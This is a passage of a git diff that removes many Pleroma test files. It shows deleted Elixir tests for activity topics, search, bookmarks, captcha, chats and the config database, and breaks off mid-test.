test/web/activity_pub/mrf/mediaproxy_warming_policy_test.exs delete mode 100644 test/web/activity_pub/mrf/mention_policy_test.exs delete mode 100644 test/web/activity_pub/mrf/mrf_test.exs delete mode 100644 test/web/activity_pub/mrf/no_placeholder_text_policy_test.exs delete mode 100644 test/web/activity_pub/mrf/normalize_markup_test.exs delete mode 100644 test/web/activity_pub/mrf/object_age_policy_test.exs delete mode 100644 test/web/activity_pub/mrf/reject_non_public_test.exs delete mode 100644 test/web/activity_pub/mrf/simple_policy_test.exs delete mode 100644 test/web/activity_pub/mrf/steal_emoji_policy_test.exs delete mode 100644 test/web/activity_pub/mrf/subchain_policy_test.exs delete mode 100644 test/web/activity_pub/mrf/tag_policy_test.exs delete mode 100644 test/web/activity_pub/mrf/user_allowlist_policy_test.exs delete mode 100644 test/web/activity_pub/mrf/vocabulary_policy_test.exs delete mode 100644 test/web/activity_pub/object_validators/types/date_time_test.exs delete mode 100644 test/web/activity_pub/object_validators/types/object_id_test.exs delete mode 100644 test/web/activity_pub/object_validators/types/recipients_test.exs delete mode 100644 test/web/activity_pub/object_validators/types/safe_text_test.exs delete mode 100644 test/web/activity_pub/pipeline_test.exs delete mode 100644 test/web/activity_pub/publisher_test.exs delete mode 100644 test/web/activity_pub/relay_test.exs delete mode 100644 test/web/activity_pub/side_effects_test.exs delete mode 100644 test/web/activity_pub/transmogrifier/announce_handling_test.exs delete mode 100644 test/web/activity_pub/transmogrifier/chat_message_test.exs delete mode 100644 test/web/activity_pub/transmogrifier/delete_handling_test.exs delete mode 100644 test/web/activity_pub/transmogrifier/emoji_react_handling_test.exs delete mode 100644 test/web/activity_pub/transmogrifier/follow_handling_test.exs delete mode 100644 test/web/activity_pub/transmogrifier/like_handling_test.exs delete mode 100644 test/web/activity_pub/transmogrifier/undo_handling_test.exs delete mode 100644 test/web/activity_pub/transmogrifier_test.exs delete mode 100644 test/web/activity_pub/utils_test.exs delete mode 100644 test/web/activity_pub/views/object_view_test.exs delete mode 100644 test/web/activity_pub/views/user_view_test.exs delete mode 100644 test/web/activity_pub/visibilty_test.exs delete mode 100644 test/web/admin_api/controllers/admin_api_controller_test.exs delete mode 100644 test/web/admin_api/controllers/config_controller_test.exs delete mode 100644 test/web/admin_api/controllers/invite_controller_test.exs delete mode 100644 test/web/admin_api/controllers/media_proxy_cache_controller_test.exs delete mode 100644 test/web/admin_api/controllers/oauth_app_controller_test.exs delete mode 100644 test/web/admin_api/controllers/relay_controller_test.exs delete mode 100644 test/web/admin_api/controllers/report_controller_test.exs delete mode 100644 test/web/admin_api/controllers/status_controller_test.exs delete mode 100644 test/web/admin_api/search_test.exs delete mode 100644 test/web/admin_api/views/report_view_test.exs delete mode 100644 test/web/api_spec/schema_examples_test.exs delete mode 100644 test/web/auth/auth_test_controller_test.exs delete mode 100644 test/web/auth/authenticator_test.exs delete mode 100644 test/web/auth/basic_auth_test.exs delete mode 100644 test/web/auth/pleroma_authenticator_test.exs delete mode 100644 test/web/auth/totp_authenticator_test.exs delete mode 100644 test/web/chat_channel_test.exs delete mode 100644 test/web/common_api/common_api_test.exs delete mode 100644 test/web/common_api/common_api_utils_test.exs delete mode 100644 test/web/fallback_test.exs delete mode 100644 test/web/federator_test.exs delete mode 100644 test/web/feed/tag_controller_test.exs delete mode 100644 test/web/feed/user_controller_test.exs delete mode 100644 test/web/instances/instance_test.exs delete mode 100644 test/web/instances/instances_test.exs delete mode 100644 test/web/masto_fe_controller_test.exs delete mode 100644 test/web/mastodon_api/controllers/account_controller/update_credentials_test.exs delete mode 100644 test/web/mastodon_api/controllers/account_controller_test.exs delete mode 100644 test/web/mastodon_api/controllers/app_controller_test.exs delete mode 100644 test/web/mastodon_api/controllers/auth_controller_test.exs delete mode 100644 test/web/mastodon_api/controllers/conversation_controller_test.exs delete mode 100644 test/web/mastodon_api/controllers/custom_emoji_controller_test.exs delete mode 100644 test/web/mastodon_api/controllers/domain_block_controller_test.exs delete mode 100644 test/web/mastodon_api/controllers/filter_controller_test.exs delete mode 100644 test/web/mastodon_api/controllers/follow_request_controller_test.exs delete mode 100644 test/web/mastodon_api/controllers/instance_controller_test.exs delete mode 100644 test/web/mastodon_api/controllers/list_controller_test.exs delete mode 100644 test/web/mastodon_api/controllers/marker_controller_test.exs delete mode 100644 test/web/mastodon_api/controllers/media_controller_test.exs delete mode 100644 test/web/mastodon_api/controllers/notification_controller_test.exs delete mode 100644 test/web/mastodon_api/controllers/poll_controller_test.exs delete mode 100644 test/web/mastodon_api/controllers/report_controller_test.exs delete mode 100644 test/web/mastodon_api/controllers/scheduled_activity_controller_test.exs delete mode 100644 test/web/mastodon_api/controllers/search_controller_test.exs delete mode 100644 test/web/mastodon_api/controllers/status_controller_test.exs delete mode 100644 test/web/mastodon_api/controllers/subscription_controller_test.exs delete mode 100644 test/web/mastodon_api/controllers/suggestion_controller_test.exs delete mode 100644 test/web/mastodon_api/controllers/timeline_controller_test.exs delete mode 100644 test/web/mastodon_api/mastodon_api_controller_test.exs delete mode 100644 test/web/mastodon_api/mastodon_api_test.exs delete mode 100644 test/web/mastodon_api/views/account_view_test.exs delete mode 100644 test/web/mastodon_api/views/conversation_view_test.exs delete mode 100644 test/web/mastodon_api/views/list_view_test.exs delete mode 100644 test/web/mastodon_api/views/marker_view_test.exs delete mode 100644 test/web/mastodon_api/views/notification_view_test.exs delete mode 100644 test/web/mastodon_api/views/poll_view_test.exs delete mode 100644 test/web/mastodon_api/views/scheduled_activity_view_test.exs delete mode 100644 test/web/mastodon_api/views/status_view_test.exs delete mode 100644 test/web/mastodon_api/views/subscription_view_test.exs delete mode 100644 test/web/media_proxy/invalidation_test.exs delete mode 100644 test/web/media_proxy/invalidations/http_test.exs delete mode 100644 test/web/media_proxy/invalidations/script_test.exs delete mode 100644 test/web/media_proxy/media_proxy_controller_test.exs delete mode 100644 test/web/media_proxy/media_proxy_test.exs delete mode 100644 test/web/metadata/feed_test.exs delete mode 100644 test/web/metadata/metadata_test.exs delete mode 100644 test/web/metadata/opengraph_test.exs delete mode 100644 test/web/metadata/player_view_test.exs delete mode 100644 test/web/metadata/rel_me_test.exs delete mode 100644 test/web/metadata/restrict_indexing_test.exs delete mode 100644 test/web/metadata/twitter_card_test.exs delete mode 100644 test/web/metadata/utils_test.exs delete mode 100644 test/web/mongooseim/mongoose_im_controller_test.exs delete mode 100644 test/web/node_info_test.exs delete mode 100644 test/web/oauth/app_test.exs delete mode 100644 test/web/oauth/authorization_test.exs delete mode 100644 test/web/oauth/ldap_authorization_test.exs delete mode 100644 test/web/oauth/mfa_controller_test.exs delete mode 100644 test/web/oauth/oauth_controller_test.exs delete mode 100644 test/web/oauth/token/utils_test.exs delete mode 100644 test/web/oauth/token_test.exs delete mode 100644 test/web/ostatus/ostatus_controller_test.exs delete mode 100644 test/web/pleroma_api/controllers/account_controller_test.exs delete mode 100644 test/web/pleroma_api/controllers/chat_controller_test.exs delete mode 100644 test/web/pleroma_api/controllers/conversation_controller_test.exs delete mode 100644 test/web/pleroma_api/controllers/emoji_pack_controller_test.exs delete mode 100644 test/web/pleroma_api/controllers/emoji_reaction_controller_test.exs delete mode 100644 test/web/pleroma_api/controllers/mascot_controller_test.exs delete mode 100644 test/web/pleroma_api/controllers/notification_controller_test.exs delete mode 100644 test/web/pleroma_api/controllers/scrobble_controller_test.exs delete mode 100644 test/web/pleroma_api/controllers/two_factor_authentication_controller_test.exs delete mode 100644 test/web/pleroma_api/views/chat/message_reference_view_test.exs delete mode 100644 test/web/pleroma_api/views/chat_view_test.exs delete mode 100644 test/web/pleroma_api/views/scrobble_view_test.exs delete mode 100644 test/web/plugs/federating_plug_test.exs delete mode 100644 test/web/plugs/plug_test.exs delete mode 100644 test/web/push/impl_test.exs delete mode 100644 test/web/rel_me_test.exs delete mode 100644 test/web/rich_media/aws_signed_url_test.exs delete mode 100644 test/web/rich_media/helpers_test.exs delete mode 100644 test/web/rich_media/parser_test.exs delete mode 100644 test/web/rich_media/parsers/twitter_card_test.exs delete mode 100644 test/web/static_fe/static_fe_controller_test.exs delete mode 100644 test/web/streamer/streamer_test.exs delete mode 100644 test/web/twitter_api/password_controller_test.exs delete mode 100644 test/web/twitter_api/remote_follow_controller_test.exs delete mode 100644 test/web/twitter_api/twitter_api_controller_test.exs delete mode 100644 test/web/twitter_api/twitter_api_test.exs delete mode 100644 test/web/twitter_api/util_controller_test.exs delete mode 100644 test/web/uploader_controller_test.exs delete mode 100644 test/web/views/error_view_test.exs delete mode 100644 test/web/web_finger/web_finger_controller_test.exs delete mode 100644 test/web/web_finger/web_finger_test.exs delete mode 100644 test/workers/cron/digest_emails_worker_test.exs delete mode 100644 test/workers/cron/new_users_digest_worker_test.exs delete mode 100644 test/workers/scheduled_activity_worker_test.exs delete mode 100644 test/xml_builder_test.exs (limited to 'test') diff --git a/test/activity/ir/topics_test.exs b/test/activity/ir/topics_test.exs deleted file mode 100644 index 4ddcea1ec..000000000 --- a/test/activity/ir/topics_test.exs +++ /dev/null @@ -1,145 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Activity.Ir.TopicsTest do - use Pleroma.DataCase - - alias Pleroma.Activity - alias Pleroma.Activity.Ir.Topics - alias Pleroma.Object - - require Pleroma.Constants - - describe "poll answer" do - test "produce no topics" do - activity = %Activity{object: %Object{data: %{"type" => "Answer"}}} - - assert [] == Topics.get_activity_topics(activity) - end - end - - describe "non poll answer" do - test "always add user and list topics" do - activity = %Activity{object: %Object{data: %{"type" => "FooBar"}}} - topics = Topics.get_activity_topics(activity) - - assert Enum.member?(topics, "user") - assert Enum.member?(topics, "list") - end - end - - describe "public visibility" do - setup do - activity = %Activity{ - object: %Object{data: %{"type" => "Note"}}, - data: %{"to" => [Pleroma.Constants.as_public()]} - } - - {:ok, activity: activity} - end - - test "produces public topic", %{activity: activity} do - topics = Topics.get_activity_topics(activity) - - assert Enum.member?(topics, "public") - end - - test "local action produces public:local topic", %{activity: activity} do - activity = %{activity | local: true} - topics = Topics.get_activity_topics(activity) - - assert Enum.member?(topics, "public:local") - end - - test "non-local action does not produce public:local topic", %{activity: activity} do - activity = %{activity | local: false} - topics = Topics.get_activity_topics(activity) - - refute Enum.member?(topics, "public:local") - end - end - - describe "public visibility create events" do - setup do - activity = %Activity{ - object: %Object{data: %{"attachment" => []}}, - data: %{"type" => "Create", "to" => [Pleroma.Constants.as_public()]} - } - - {:ok, activity: activity} - end - - test "with no attachments doesn't produce public:media topics", %{activity: activity} do - topics = Topics.get_activity_topics(activity) - - refute Enum.member?(topics, "public:media") - refute Enum.member?(topics, "public:local:media") - end - - test "converts tags to hash tags", %{activity: %{object: %{data: data} = object} = activity} do - tagged_data = Map.put(data, "tag", ["foo", "bar"]) - activity = %{activity | object: %{object | data: tagged_data}} - - topics = Topics.get_activity_topics(activity) - - assert Enum.member?(topics, "hashtag:foo") - assert Enum.member?(topics, "hashtag:bar") - end - - test "only converts strings to hash tags", %{ - activity: %{object: %{data: data} = object} = activity - } do - tagged_data = Map.put(data, "tag", [2]) - activity = %{activity | object: %{object | data: tagged_data}} - - topics = Topics.get_activity_topics(activity) - - refute Enum.member?(topics, "hashtag:2") - end - end - - describe "public visibility create events with attachments" do - setup do - activity = %Activity{ - object: %Object{data: %{"attachment" => ["foo"]}}, - data: %{"type" => "Create", "to" => [Pleroma.Constants.as_public()]} - } - - {:ok, activity: activity} - end - - test "produce public:media topics", %{activity: activity} do - topics = Topics.get_activity_topics(activity) - - assert Enum.member?(topics, "public:media") - end - - test "local produces public:local:media topics", %{activity: activity} do - topics = Topics.get_activity_topics(activity) - - assert Enum.member?(topics, "public:local:media") - end - - test "non-local doesn't produce public:local:media topics", %{activity: activity} do - activity = %{activity | local: false} - - topics = Topics.get_activity_topics(activity) - - refute Enum.member?(topics, "public:local:media") - end - end - - describe "non-public visibility" do - test "produces direct topic" do - activity = %Activity{object: %Object{data: %{"type" => "Note"}}, data: %{"to" => []}} - topics = Topics.get_activity_topics(activity) - - assert Enum.member?(topics, "direct") - refute Enum.member?(topics, "public") - refute Enum.member?(topics, "public:local") - refute Enum.member?(topics, "public:media") - refute Enum.member?(topics, "public:local:media") - end - end -end diff --git a/test/activity_test.exs b/test/activity_test.exs deleted file mode 100644 index ee6a99cc3..000000000 --- a/test/activity_test.exs +++ /dev/null @@ -1,234 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.ActivityTest do - use Pleroma.DataCase - alias Pleroma.Activity - alias Pleroma.Bookmark - alias Pleroma.Object - alias Pleroma.Tests.ObanHelpers - alias Pleroma.ThreadMute - import Pleroma.Factory - - setup_all do - Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) - :ok - end - - test "returns an activity by it's AP id" do - activity = insert(:note_activity) - found_activity = Activity.get_by_ap_id(activity.data["id"]) - - assert activity == found_activity - end - - test "returns activities by it's objects AP ids" do - activity = insert(:note_activity) - object_data = Object.normalize(activity).data - - [found_activity] = Activity.get_all_create_by_object_ap_id(object_data["id"]) - - assert activity == found_activity - end - - test "returns the activity that created an object" do - activity = insert(:note_activity) - object_data = Object.normalize(activity).data - - found_activity = Activity.get_create_by_object_ap_id(object_data["id"]) - - assert activity == found_activity - end - - test "preloading a bookmark" do - user = insert(:user) - user2 = insert(:user) - user3 = insert(:user) - activity = insert(:note_activity) - {:ok, _bookmark} = Bookmark.create(user.id, activity.id) - {:ok, _bookmark2} = Bookmark.create(user2.id, activity.id) - {:ok, bookmark3} = Bookmark.create(user3.id, activity.id) - - queried_activity = - Ecto.Query.from(Pleroma.Activity) - |> Activity.with_preloaded_bookmark(user3) - |> Repo.one() - - assert queried_activity.bookmark == bookmark3 - end - - test "setting thread_muted?" do - activity = insert(:note_activity) - user = insert(:user) - annoyed_user = insert(:user) - {:ok, _} = ThreadMute.add_mute(annoyed_user.id, activity.data["context"]) - - activity_with_unset_thread_muted_field = - Ecto.Query.from(Activity) - |> Repo.one() - - activity_for_user = - Ecto.Query.from(Activity) - |> Activity.with_set_thread_muted_field(user) - |> Repo.one() - - activity_for_annoyed_user = - Ecto.Query.from(Activity) - |> Activity.with_set_thread_muted_field(annoyed_user) - |> Repo.one() - - assert activity_with_unset_thread_muted_field.thread_muted? == nil - assert activity_for_user.thread_muted? == false - assert activity_for_annoyed_user.thread_muted? == true - end - - describe "getting a bookmark" do - test "when association is loaded" do - user = insert(:user) - activity = insert(:note_activity) - {:ok, bookmark} = Bookmark.create(user.id, activity.id) - - queried_activity = - Ecto.Query.from(Pleroma.Activity) - |> Activity.with_preloaded_bookmark(user) - |> Repo.one() - - assert Activity.get_bookmark(queried_activity, user) == bookmark - end - - test "when association is not loaded" do - user = insert(:user) - activity = insert(:note_activity) - {:ok, bookmark} = Bookmark.create(user.id, activity.id) - - queried_activity = - Ecto.Query.from(Pleroma.Activity) - |> Repo.one() - - assert Activity.get_bookmark(queried_activity, user) == bookmark - end - end - - describe "search" do - setup do - user = insert(:user) - - params = %{ - "@context" => "https://www.w3.org/ns/activitystreams", - "actor" => "http://mastodon.example.org/users/admin", - "type" => "Create", - "id" => "http://mastodon.example.org/users/admin/activities/1", - "object" => %{ - "type" => "Note", - "content" => "find me!", - "id" => "http://mastodon.example.org/users/admin/objects/1", - "attributedTo" => "http://mastodon.example.org/users/admin" - }, - "to" => ["https://www.w3.org/ns/activitystreams#Public"] - } - - {:ok, local_activity} = Pleroma.Web.CommonAPI.post(user, %{status: "find me!"}) - {:ok, japanese_activity} = Pleroma.Web.CommonAPI.post(user, %{status: "更新情報"}) - {:ok, job} = Pleroma.Web.Federator.incoming_ap_doc(params) - {:ok, remote_activity} = ObanHelpers.perform(job) - - %{ - japanese_activity: japanese_activity, - local_activity: local_activity, - remote_activity: remote_activity, - user: user - } - end - - setup do: clear_config([:instance, :limit_to_local_content]) - - test "finds utf8 text in statuses", %{ - japanese_activity: japanese_activity, - user: user - } do - activities = Activity.search(user, "更新情報") - - assert [^japanese_activity] = activities - end - - test "find local and remote statuses for authenticated users", %{ - local_activity: local_activity, - remote_activity: remote_activity, - user: user - } do - activities = Enum.sort_by(Activity.search(user, "find me"), & &1.id) - - assert [^local_activity, ^remote_activity] = activities - end - - test "find only local statuses for unauthenticated users", %{local_activity: local_activity} do - assert [^local_activity] = Activity.search(nil, "find me") - end - - test "find only local statuses for unauthenticated users when `limit_to_local_content` is `:all`", - %{local_activity: local_activity} do - Pleroma.Config.put([:instance, :limit_to_local_content], :all) - assert [^local_activity] = Activity.search(nil, "find me") - end - - test "find all statuses for unauthenticated users when `limit_to_local_content` is `false`", - %{ - local_activity: local_activity, - remote_activity: remote_activity - } do - Pleroma.Config.put([:instance, :limit_to_local_content], false) - - activities = Enum.sort_by(Activity.search(nil, "find me"), & &1.id) - - assert [^local_activity, ^remote_activity] = activities - end - end - - test "all_by_ids_with_object/1" do - %{id: id1} = insert(:note_activity) - %{id: id2} = insert(:note_activity) - - activities = - [id1, id2] - |> Activity.all_by_ids_with_object() - |> Enum.sort(&(&1.id < &2.id)) - - assert [%{id: ^id1, object: %Object{}}, %{id: ^id2, object: %Object{}}] = activities - end - - test "get_by_id_with_object/1" do - %{id: id} = insert(:note_activity) - - assert %Activity{id: ^id, object: %Object{}} = Activity.get_by_id_with_object(id) - end - - test "get_by_ap_id_with_object/1" do - %{data: %{"id" => ap_id}} = insert(:note_activity) - - assert %Activity{data: %{"id" => ^ap_id}, object: %Object{}} = - Activity.get_by_ap_id_with_object(ap_id) - end - - test "get_by_id/1" do - %{id: id} = insert(:note_activity) - - assert %Activity{id: ^id} = Activity.get_by_id(id) - end - - test "all_by_actor_and_id/2" do - user = insert(:user) - - {:ok, %{id: id1}} = Pleroma.Web.CommonAPI.post(user, %{status: "cofe"}) - {:ok, %{id: id2}} = Pleroma.Web.CommonAPI.post(user, %{status: "cofefe"}) - - assert [] == Activity.all_by_actor_and_id(user, []) - - activities = - user.ap_id - |> Activity.all_by_actor_and_id([id1, id2]) - |> Enum.sort(&(&1.id < &2.id)) - - assert [%Activity{id: ^id1}, %Activity{id: ^id2}] = activities - end -end diff --git a/test/bbs/handler_test.exs b/test/bbs/handler_test.exs deleted file mode 100644 index eb716486e..000000000 --- a/test/bbs/handler_test.exs +++ /dev/null @@ -1,89 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.BBS.HandlerTest do - use Pleroma.DataCase - alias Pleroma.Activity - alias Pleroma.BBS.Handler - alias Pleroma.Object - alias Pleroma.Repo - alias Pleroma.User - alias Pleroma.Web.CommonAPI - - import ExUnit.CaptureIO - import Pleroma.Factory - import Ecto.Query - - test "getting the home timeline" do - user = insert(:user) - followed = insert(:user) - - {:ok, user} = User.follow(user, followed) - - {:ok, _first} = CommonAPI.post(user, %{status: "hey"}) - {:ok, _second} = CommonAPI.post(followed, %{status: "hello"}) - - output = - capture_io(fn -> - Handler.handle_command(%{user: user}, "home") - end) - - assert output =~ user.nickname - assert output =~ followed.nickname - - assert output =~ "hey" - assert output =~ "hello" - end - - test "posting" do - user = insert(:user) - - output = - capture_io(fn -> - Handler.handle_command(%{user: user}, "p this is a test post") - end) - - assert output =~ "Posted" - - activity = - Repo.one( - from(a in Activity, - where: fragment("?->>'type' = ?", a.data, "Create") - ) - ) - - assert activity.actor == user.ap_id - object = Object.normalize(activity) - assert object.data["content"] == "this is a test post" - end - - test "replying" do - user = insert(:user) - another_user = insert(:user) - - {:ok, activity} = CommonAPI.post(another_user, %{status: "this is a test post"}) - activity_object = Object.normalize(activity) - - output = - capture_io(fn -> - Handler.handle_command(%{user: user}, "r #{activity.id} this is a reply") - end) - - assert output =~ "Replied" - - reply = - Repo.one( - from(a in Activity, - where: fragment("?->>'type' = ?", a.data, "Create"), - where: a.actor == ^user.ap_id - ) - ) - - assert reply.actor == user.ap_id - - reply_object_data = Object.normalize(reply).data - assert reply_object_data["content"] == "this is a reply" - assert reply_object_data["inReplyTo"] == activity_object.data["id"] - end -end diff --git a/test/bookmark_test.exs b/test/bookmark_test.exs deleted file mode 100644 index 2726fe7cd..000000000 --- a/test/bookmark_test.exs +++ /dev/null @@ -1,56 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.BookmarkTest do - use Pleroma.DataCase - import Pleroma.Factory - alias Pleroma.Bookmark - alias Pleroma.Web.CommonAPI - - describe "create/2" do - test "with valid params" do - user = insert(:user) - {:ok, activity} = CommonAPI.post(user, %{status: "Some cool information"}) - {:ok, bookmark} = Bookmark.create(user.id, activity.id) - assert bookmark.user_id == user.id - assert bookmark.activity_id == activity.id - end - - test "with invalid params" do - {:error, changeset} = Bookmark.create(nil, "") - refute changeset.valid? - - assert changeset.errors == [ - user_id: {"can't be blank", [validation: :required]}, - activity_id: {"can't be blank", [validation: :required]} - ] - end - end - - describe "destroy/2" do - test "with valid params" do - user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "Some cool information"}) - {:ok, _bookmark} = Bookmark.create(user.id, activity.id) - - {:ok, _deleted_bookmark} = Bookmark.destroy(user.id, activity.id) - end - end - - describe "get/2" do - test "gets a bookmark" do - user = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{ - status: - "Scientists Discover The Secret Behind Tenshi Eating A Corndog Being So Cute – Science Daily" - }) - - {:ok, bookmark} = Bookmark.create(user.id, activity.id) - assert bookmark == Bookmark.get(user.id, activity.id) - end - end -end diff --git a/test/captcha_test.exs b/test/captcha_test.exs deleted file mode 100644 index 1b9f4a12f..000000000 --- a/test/captcha_test.exs +++ /dev/null @@ -1,118 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.CaptchaTest do - use Pleroma.DataCase - - import Tesla.Mock - - alias Pleroma.Captcha - alias Pleroma.Captcha.Kocaptcha - alias Pleroma.Captcha.Native - - @ets_options [:ordered_set, :private, :named_table, {:read_concurrency, true}] - setup do: clear_config([Pleroma.Captcha, :enabled]) - - describe "Kocaptcha" do - setup do - ets_name = Kocaptcha.Ets - ^ets_name = :ets.new(ets_name, @ets_options) - - mock(fn - %{method: :get, url: "https://captcha.kotobank.ch/new"} -> - json(%{ - md5: "63615261b77f5354fb8c4e4986477555", - token: "afa1815e14e29355e6c8f6b143a39fa2", - url: "/captchas/afa1815e14e29355e6c8f6b143a39fa2.png" - }) - end) - - :ok - end - - test "new and validate" do - new = Kocaptcha.new() - - token = "afa1815e14e29355e6c8f6b143a39fa2" - url = "https://captcha.kotobank.ch/captchas/afa1815e14e29355e6c8f6b143a39fa2.png" - - assert %{ - answer_data: answer, - token: ^token, - url: ^url, - type: :kocaptcha, - seconds_valid: 300 - } = new - - assert Kocaptcha.validate(token, "7oEy8c", answer) == :ok - end - end - - describe "Native" do - test "new and validate" do - new = Native.new() - - assert %{ - answer_data: answer, - token: token, - type: :native, - url: "data:image/png;base64," <> _, - seconds_valid: 300 - } = new - - assert is_binary(answer) - assert :ok = Native.validate(token, answer, answer) - assert {:error, :invalid} == Native.validate(token, answer, answer <> "foobar") - end - end - - describe "Captcha Wrapper" do - test "validate" do - Pleroma.Config.put([Pleroma.Captcha, :enabled], true) - - new = Captcha.new() - - assert %{ - answer_data: answer, - token: token - } = new - - assert is_binary(answer) - assert :ok = Captcha.validate(token, "63615261b77f5354fb8c4e4986477555", answer) - Cachex.del(:used_captcha_cache, token) - end - - test "doesn't validate invalid answer" do - Pleroma.Config.put([Pleroma.Captcha, :enabled], true) - - new = Captcha.new() - - assert %{ - answer_data: answer, - token: token - } = new - - assert is_binary(answer) - - assert {:error, :invalid_answer_data} = - Captcha.validate(token, "63615261b77f5354fb8c4e4986477555", answer <> "foobar") - end - - test "nil answer_data" do - Pleroma.Config.put([Pleroma.Captcha, :enabled], true) - - new = Captcha.new() - - assert %{ - answer_data: answer, - token: token - } = new - - assert is_binary(answer) - - assert {:error, :invalid_answer_data} = - Captcha.validate(token, "63615261b77f5354fb8c4e4986477555", nil) - end - end -end diff --git a/test/chat/message_reference_test.exs b/test/chat/message_reference_test.exs deleted file mode 100644 index aaa7c1ad4..000000000 --- a/test/chat/message_reference_test.exs +++ /dev/null @@ -1,29 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Chat.MessageReferenceTest do - use Pleroma.DataCase, async: true - - alias Pleroma.Chat - alias Pleroma.Chat.MessageReference - alias Pleroma.Web.CommonAPI - - import Pleroma.Factory - - describe "messages" do - test "it returns the last message in a chat" do - user = insert(:user) - recipient = insert(:user) - - {:ok, _message_1} = CommonAPI.post_chat_message(user, recipient, "hey") - {:ok, _message_2} = CommonAPI.post_chat_message(recipient, user, "ho") - - {:ok, chat} = Chat.get_or_create(user.id, recipient.ap_id) - - message = MessageReference.last_message_for_chat(chat) - - assert message.object.data["content"] == "ho" - end - end -end diff --git a/test/chat_test.exs b/test/chat_test.exs deleted file mode 100644 index 9e8a9ebf0..000000000 --- a/test/chat_test.exs +++ /dev/null @@ -1,83 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.ChatTest do - use Pleroma.DataCase, async: true - - alias Pleroma.Chat - - import Pleroma.Factory - - describe "creation and getting" do - test "it only works if the recipient is a valid user (for now)" do - user = insert(:user) - - assert {:error, _chat} = Chat.bump_or_create(user.id, "http://some/nonexisting/account") - assert {:error, _chat} = Chat.get_or_create(user.id, "http://some/nonexisting/account") - end - - test "it creates a chat for a user and recipient" do - user = insert(:user) - other_user = insert(:user) - - {:ok, chat} = Chat.bump_or_create(user.id, other_user.ap_id) - - assert chat.id - end - - test "deleting the user deletes the chat" do - user = insert(:user) - other_user = insert(:user) - - {:ok, chat} = Chat.bump_or_create(user.id, other_user.ap_id) - - Repo.delete(user) - - refute Chat.get_by_id(chat.id) - end - - test "deleting the recipient deletes the chat" do - user = insert(:user) - other_user = insert(:user) - - {:ok, chat} = Chat.bump_or_create(user.id, other_user.ap_id) - - Repo.delete(other_user) - - refute Chat.get_by_id(chat.id) - end - - test "it returns and bumps a chat for a user and recipient if it already exists" do - user = insert(:user) - other_user = insert(:user) - - {:ok, chat} = Chat.bump_or_create(user.id, other_user.ap_id) - {:ok, chat_two} = Chat.bump_or_create(user.id, other_user.ap_id) - - assert chat.id == chat_two.id - end - - test "it returns a chat for a user and recipient if it already exists" do - user = insert(:user) - other_user = insert(:user) - - {:ok, chat} = Chat.get_or_create(user.id, other_user.ap_id) - {:ok, chat_two} = Chat.get_or_create(user.id, other_user.ap_id) - - assert chat.id == chat_two.id - end - - test "a returning chat will have an updated `update_at` field" do - user = insert(:user) - other_user = insert(:user) - - {:ok, chat} = Chat.bump_or_create(user.id, other_user.ap_id) - :timer.sleep(1500) - {:ok, chat_two} = Chat.bump_or_create(user.id, other_user.ap_id) - - assert chat.id == chat_two.id - assert chat.updated_at != chat_two.updated_at - end - end -end diff --git a/test/config/config_db_test.exs b/test/config/config_db_test.exs deleted file mode 100644 index 3895e2cda..000000000 --- a/test/config/config_db_test.exs +++ /dev/null @@ -1,546 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.ConfigDBTest do - use Pleroma.DataCase, async: true - import Pleroma.Factory - alias Pleroma.ConfigDB - - test "get_by_params/1" do - config = insert(:config) - insert(:config) - - assert config == ConfigDB.get_by_params(%{group: config.group, key: config.key}) - end - - test "get_all_as_keyword/0" do - saved = insert(:config) - insert(:config, group: ":quack", key: ":level", value: :info) - insert(:config, group: ":quack", key: ":meta", value: [:none]) - - insert(:config, - group: ":quack", - key: ":webhook_url", - value: "https://hooks.slack.com/services/KEY/some_val" - ) - - config = ConfigDB.get_all_as_keyword() - - assert config[:pleroma] == [ - {saved.key, saved.value} - ] - - assert config[:quack][:level] == :info - assert config[:quack][:meta] == [:none] - assert config[:quack][:webhook_url] == "https://hooks.slack.com/services/KEY/some_val" - end - - describe "update_or_create/1" do - test "common" do - config = insert(:config) - key2 = :another_key - - params = [ - %{group: :pleroma, key: key2, value: "another_value"}, - %{group: :pleroma, key: config.key, value: [a: 1, b: 2, c: "new_value"]} - ] - - assert Repo.all(ConfigDB) |> length() == 1 - - Enum.each(params, &ConfigDB.update_or_create(&1)) - - assert Repo.all(ConfigDB) |> length() == 2 - - config1 = ConfigDB.get_by_params(%{group: config.group, key: config.key}) - config2 = ConfigDB.get_by_params(%{group: :pleroma, key: key2}) - - assert config1.value == [a: 1, b: 2, c: "new_value"] - assert config2.value == "another_value" - end - - test "partial update" do - config = insert(:config, value: [key1: "val1", key2: :val2]) - - {:ok, config} = - ConfigDB.update_or_create(%{ - group: config.group, - key: config.key, - value: [key1: :val1, key3: :val3] - }) - - updated = ConfigDB.get_by_params(%{group: config.group, key: config.key}) - - assert config.value == updated.value - assert updated.value[:key1] == :val1 - assert updated.value[:key2] == :val2 - assert updated.value[:key3] == :val3 - end - - test "deep merge" do - config = insert(:config, value: [key1: "val1", key2: [k1: :v1, k2: "v2"]]) - - {:ok, config} = - ConfigDB.update_or_create(%{ - group: config.group, - key: config.key, - value: [key1: :val1, key2: [k2: :v2, k3: :v3], key3: :val3] - }) - - updated = 